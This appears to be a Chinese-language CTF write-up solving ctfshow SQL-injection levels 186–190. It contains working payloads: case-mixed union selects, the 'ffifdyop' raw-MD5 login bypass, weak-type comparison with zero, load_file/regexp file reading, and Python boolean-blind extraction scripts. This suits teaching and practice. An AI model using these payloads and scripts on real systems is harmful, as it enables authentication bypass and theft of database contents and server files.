ctfshow sql 186-190

?186大小写绕过

1' order by 3--+

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发现union select被过滤，用大小写来绕过

1' union seleCT 1,2,database() --+

1' union seleCT 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

1' union seleCT 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+

1' union seleCT 1,2,password from ctfshow_web.ctfshow_user --+

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187md5

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }
      

?md5()

因此这里我们需要找到一个转换为原始16位二进制字符串后满足我们的注入。?

ffifdyop是一个特殊的字符串，类似万能密码。还有129581926211651571912466741651878684928也可以达到同样的效果。

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188弱比较

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查询语句  

$sql = "select pass from ctfshow_user where username = {$username}";

sql里，数字和字符串的匹配是弱类型比较，字符串会转换为数字，如0==admin，那么如果输入的username是0，则会匹配所有开头不是数字或者为0的字符串和数字0。

在phpmyadmin里面试一下

我们可以发现当where条件为0时返回了所有的数据

所以当username和password都为0时可以成功弱类型比较，得到flag。

189盲注读取文件

flag在api/index.php文件中

根据提示

刚学习了load_file读取文件?? 第一反应就想到了

regexp正则

在本地先调试一下啊

?param=-1' union select 1,2,3,4,if((load_file('D:\\phpstudy_pro\\WWW\\aa.txt'))regexp('aa'),0,1) --+

?param=-1' union select 1,2,3,4,if((load_file('D:\\phpstudy_pro\\WWW\\aa.txt'))regexp('ab'),0,1) --+

根据上面来看，我们可以发现匹配到的时候返回1

匹配失败返回0

password根据188我们直接写0来匹配

import requests

url = "http://655b6baa-dd5c-4780-97db-2815b916c1ad.challenge.ctf.show/api/"
payload = """if((load_file("/var/www/html/api/index.php"))regexp("{0}"),0,1)"""


flag = "ctfshow{"
for i in range(1, 100):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1 = payload.format(flag + j)
        data = {
            'username': payload1,
            'password': 0
        }
        re = requests.post(url=url, data=data)
        # print(re.text)
        # print(payload1)
        if r"""{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}""" in re.text:
            flag += j
            print(flag)
            if j == "}":
                exit()
            break

190 post布尔盲注

?

import requests

url = "http://d33a9dcf-4743-46eb-b871-83de283bdf68.challenge.ctf.show/api/"
# payload = """admin' and if(ascii(substr((select database()),{0},1))>{1},1,0)-- +"""
# payload = """admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0},1))>{1},1,0)-- +"""
# payload = """admin' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)-- +"""
payload = """admin' and if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{0},1))>{1},1,0)-- +"""
flag = ''
for i in range(1, 100):
    for j in range(32, 128):
        payload1 = payload.format(i,j)
        data = {
            'username': payload1,
            'password': 0
        }
        response = requests.post(url=url, data=data)
        # print(payload1)
        # print(response.text)
        if r'''{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}''' not in response.text:
            flag += chr(j)
            print(flag)
            break

?

payload = """admin' and if(ascii(substr((select database()),{0},1))>{1},1,0)-- +"""

?

payload = """admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0},1))>{1},1,0)-- +"""

payload = """admin' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)-- +"""

?????????

payload = """admin' and if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{0},1))>{1},1,0)-- +"""

?